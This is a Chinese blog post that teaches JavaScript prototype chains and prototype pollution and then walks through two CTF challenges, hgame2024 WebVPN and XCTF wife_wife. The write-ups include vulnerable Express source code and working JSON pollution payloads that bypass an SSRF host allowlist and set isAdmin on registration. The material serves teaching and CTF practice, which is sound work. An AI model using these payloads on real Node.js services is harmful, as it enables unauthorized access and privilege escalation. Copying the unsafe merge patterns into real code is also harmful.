js原型链污染

面向对象与原型链

js中的创建函数的方法多种多样,包括使用构造函数创建,使用Object创建,使用class直观创建等等.下面是同一个函数的不同创建方式举例.

// 定义构造函数
function Person(name, age) {
    this.name = name;
    this.age = age;
    this.greet = function() {
        console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
    };
}
// 使用 Object 构造函数创建对象
let person = new Object();
person.name = "Bob";
person.age = 25;
person.greet = function() {
    console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
};
// 定义类
class Person {
    constructor(name, age) {
        this.name = name;
        this.age = age;
    }
    greet() {
        console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
    }
}

但是无论我们使用哪种方法来进行类的创建,其本质是相同的,都是通过原型链来实现的继承.
这里我们进行一个测试,在控制台输入:
image
我们可以看到通过构造函数创建的两个属性的对象存在着第三个属性,即Prototype.而Prototype实际上是由两个部分组成的,constructor__proto__
我们通过这个图来理解其中的关系:
image

Person:是一个构造函数,Person.prototype指向Person.prototype对象,也就是该构造函数对应的类.Person.__proto__指向Function.prototype,也就是Person的父类.

注意:虽然构造函数是指向同名.prototype的,但是并不是指向一个prototype的就是他的构造函数.实际上,只有同名的是,但是所有的方法在创建对象的时候所用的方法和属性都是继承自其prototype所指向的类或对象.

Person.prototype:是实际的类,所以Person.prototype.__proto__指向Object.prototype,而Person.prototype.constructor指向Person

alice:是Person的一个实例,因此alice.__proto__指向Person.prototype,而由于alice.constructor是继承自Person.prototype而没有重写的,因此alice.constructor指向Person

由此我们也可以得出一个结论,就是在js中并没有像传统的面向对象这种严格的类和对象之间的界限.实例可以用来创造新的实例,因此也就没有类似java这种严格的面向对象语言那种使用父指针指向子类型实现多态的用法了.
所有的继承关系都是通过一条原型链来贯穿的,换句话说,只要原型链连得上就是继承.
那么我们也不难理解下面的操作
image
构造函数方法创建类和其他几种方法创建类从本质上是没有区别的,只不过我们所说的Person表示的东西有所不同了.
那么我们来看下面的两个例题,是对原型链的进一步拓展.

var A = function() {}; 
A.prototype.n = 1;
var b = new A();
A.prototype = {
n: 2,
m: 3
}
var c = new A();
console.log(b.n); //1
console.log(b.m);  //undefined
console.log(c.n); //2
console.log(c.m); // 3

这是因为对于修改原型时并不是在原位进行修改,而是在新的内存处创建一个原型,而由于b指向的位置不发生改变,因此不存在b.m

var F = function() {};
Object.prototype.a = function() {
console.log('a');
};
Function.prototype.b = function() {
console.log('b');
}
var f = new F();
f.a(); // a
f.b(); // 并不存在b属性
F.a(); // a
F.b(); // b

这个问题就更有说法了.F在此过程中充当了两个身份,在对上的时候是作为Function.prototype类的一个实例,而在对下的时候则是充当了一个构造函数,创建了f.这也导致了出现了如下的等价关系:

F.__proto__.__proto__===Function.prototype.__proto__===Object.prototype
f.__proto__.__proto__===F.prototype.__proto__===Object.prototype

因此f并不能继承F的方法和属性,而是继承了F.prototype的方法和属性,但是F.prototype和Function.prototype八竿子打不着.

原型链污染

看下面的这个例子

function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

那么这个时候我们再通过控制台进行查看的时候可以发现
son.constructor===Father,但是输出的却是Name: Melania Trump,这是因为我们是利用Father创造的实例来进行实例化,所以其继承了Father的构造函数,利用的是Son方法来进行构造,因此first_name并不是Donal,这也印证了我们之前所说的一个指向a.prototype的不一定是a的构造方法的问题.
这也是我们原型链污染的理论基础.
哪些情况下我们可以设置 __proto__ 的值呢?其实找找能够控制数组(对象)的键名的操作即可:
对象merge 结合 拼接
对象clone(其实内核就是将待操作的对象merge到一个空对象中)复制
下面以merge函数为例:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
var x ={
    age: 11
}
var y = {
    age: 12,
    num: 100
}
merge(x, y);
console.info(x) //age=11,num=100
console.info(y) //age=12,num=100

可见原先x中没有num属性,但是打印结果显示x出现num属性
分析:如果x中有num属性,则打印结果中x的num属性不会变
在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}
let o1 = {};
let o2 = { a: 1, __proto__: { b: 2 } };
merge(o1, o2);
console.log(o1.a, o1.b);//1,2
o3 = {}
console.log(o3.b)//undefined

我们可以看到虽然合并成功了,但是原型链并没有被污染.这是因为__proto__在o2中是作为o2属性出现的,也就是说我们这样设置o2的时候,使得{b:2}成为了o2的原型,而我们进行merge的时候,也是使得{b:2}成为了o1的原型,而不是将其赋值给了Object.prototype.
将代码改为:

let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);
console.log(o1.a, o1.b);//1,2
o3 = {};
console.log(o3.b);//2

因为在json的解析下,会认为__proto__是一个真正的键名而不是一个原型,那么就能正常的拷贝过去,使得Object.prototype==={"b": 2},对原型构成污染.

真题实战

[hgame2024 week3]WebVPN

直接看源码

const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");
const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();
app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
    session({
        name: session_name,
        secret: uuidv4().toString(),
        secure: false,
        resave: false,
        saveUninitialized: true,
    })
);
app.use(bodyParser.json());
var userStorage = {
    username: {
        password: "password",
        info: {
            age: 18,
        },
        strategy: {
            "baidu.com": true,
            "google.com": false,
        },
    },
};
function update(dst, src) {
    for (key in src) {
        if (key.indexOf("__") != -1) {
            continue;
        }
        if (typeof src[key] == "object" && dst[key] !== undefined) {
            update(dst[key], src[key]);
            continue;
        }
        dst[key] = src[key];
    }
}
app.use("/proxy", async (req, res) => {
    const { username } = req.session;
    if (!username) {
        res.sendStatus(403);
    }
    let url = (() => {
        try {
            return new URL(req.query.url);
        } catch {
            res.status(400);
            res.end("invalid url.");
            return undefined;
        }
    })();
    if (!url) return;
    if (!userStorage[username].strategy[url.hostname]) {
        res.status(400);
        res.end("your url is not allowed.");
    }
    try {
        const headers = req.headers;
        headers.host = url.host;
        headers.cookie = headers.cookie.split(";").forEach((cookie) => {
            var filtered_cookie = "";
            const [key, value] = cookie.split("=", 1);
            if (key.trim() !== session_name) {
                filtered_cookie += `${key}=${value};`;
            }
            return filtered_cookie;
        });
        const remote_res = await (() => {
            if (req.method == "POST") {
                return axios.post(url, req.body, {
                    headers: headers,
                });
            } else if (req.method == "GET") {
                return axios.get(url, {
                    headers: headers,
                });
            } else {
                res.status(405);
                res.end("method not allowed.");
                return;
            }
        })();
        res.status(remote_res.status);
        res.header(remote_res.headers);
        res.write(remote_res.data);
    } catch (e) {
        res.status(500);
        res.end("unreachable url.");
    }
});
app.post("/user/login", (req, res) => {
    const { username, password } = req.body;
    if (
        typeof username != "string" ||
        typeof password != "string" ||
        !username ||
        !password
    ) {
        res.status(400);
        res.end("invalid username or password");
        return;
    }
    if (!userStorage[username]) {
        res.status(403);
        res.end("invalid username or password");
        return;
    }
    if (userStorage[username].password !== password) {
        res.status(403);
        res.end("invalid username or password");
        return;
    }
    req.session.username = username;
    res.send("login success");
});
// under development
app.post("/user/info", (req, res) => {
    if (!req.session.username) {
        res.sendStatus(403);
    }
    update(userStorage[req.session.username].info, req.body);
    res.sendStatus(200);
});
app.get("/home", (req, res) => {
    if (!req.session.username) {
        res.sendStatus(403);
        return;
    }
    res.render("home", {
        username: req.session.username,
        strategy: ((list) => {
            var result = [];
            for (var key in list) {
                result.push({ host: key, allow: list[key] });
            }
            return result;
        })(userStorage[req.session.username].strategy),
    });
});
// demo service behind webvpn
app.get("/flag", (req, res) => {
    if (
        req.headers.host != "127.0.0.1:3000" ||
        req.hostname != "127.0.0.1" ||
        req.ip != "127.0.0.1"
    ) {
        res.sendStatus(400);
        return;
    }
    const data = fs.readFileSync("/flag");
    res.send(data);
});
app.listen(port, '0.0.0.0', () => {
    console.log(`app listen on ${port}`);
});

存在/flag路由,但是只能本地访问,猜测存在ssrf
然后我们去分析proxy发现存在如下判断

let url = (() => {
        try {
            return new URL(req.query.url);
        } catch {
            res.status(400);
            res.end("invalid url.");
            return undefined;
        }
    })();
    if (!url) return;
    if (!userStorage[username].strategy[url.hostname]) {
        res.status(400);
        res.end("your url is not allowed.");
    }

也就是说我们在访问/proxy路由的时候会接受我们的url参数,然后检测是否存在于userStorage.username.strategy[url.hostname]中,如果存在的话可以正常访问,如果不存在的话则不能访问.
那么目标此时明确,如果我们可以进行下面的访问即可获得flag

http://.../proxy?url=http://127.0.0.1:3000/flag

我们又注意到存在/user/info路由,调用了update函数:

function update(dst, src) {
    for (key in src) {
        if (key.indexOf("__") != -1) {
            continue;
        }
        if (typeof src[key] == "object" && dst[key] !== undefined) {
            update(dst[key], src[key]);
            continue;
        }
        dst[key] = src[key];
    }
}

问题就在于这个函数这里.他设置了递归调用,如果src的key是一个object的话,会作为参数继续update.这也就带来了原型链污染的隐患.我们可以看到__无法使用,但是我们可以使用constructor
添加content-type,以json形式发包

{"constructor":{"prototype":{"127.0.0.1":true}}}

那么此时我们可以知道:

userStorage.username[127.0.0.1]===true

127.0.0.1是作为userStorage.username的属性,而strategy是子类,因此可以成功继承,那么此时再去访问进行ssrf不会被禁止.
那么我们可以合理推测,下面的也能成功.(未测试)

{"constructor":{"prototype":{"strategy":{"127.0.0.1":true}}}}
[XCTF] wife_wife

上来给了一个登录框,要求我们登录,而且可以注册.我们注册的时候发现可以勾选isAdmin选项.但是勾选isAdmin选项要求输入邀请码.
我们发现在表单中数据以json的形式传输,那么直接打一个原型链试一试.发包如下.

{"username":"lbz","password":"123","__proto__":{"isAdmin":true}}

然后尝试登录即可获得flag.在网上找了一下源码:

app.post("/register", (req, res) => {
    let user = JSON.parse(req.body);
    if (!user.username || !user.password) {
        return res.json({ msg: "empty username or password", err: true });
    }
    if (users.filter((u) => u.username == user.username).length) {
        return res.json({ msg: "username already exists", err: true });
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false;
        return res.json({ msg: "invalid invite code", err: true });
    }
    let newUser = Object.assign({}, baseUser, user); //就是这里,原型链污染
    users.push(newUser);
    res.json({ msg: "user created successfully", err: false });
});

我们可以看到后端的逻辑是将user和baseUser进行合并为newUser.那么我们刚才的操作实际上是给Object.prototype添加了一个isAdmin属性.他的逻辑的致命错误在于,仅进行了user.isAdmin && user.inviteCode != INVITE_CODE判断,但是并没有讨论user.isAdmin不存在的问题,如果在不存在的时候对isAdmin进行一个重写为false,那么即使污染了Object的也不会产生影响.

posted @   meraklbz  阅读(26)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示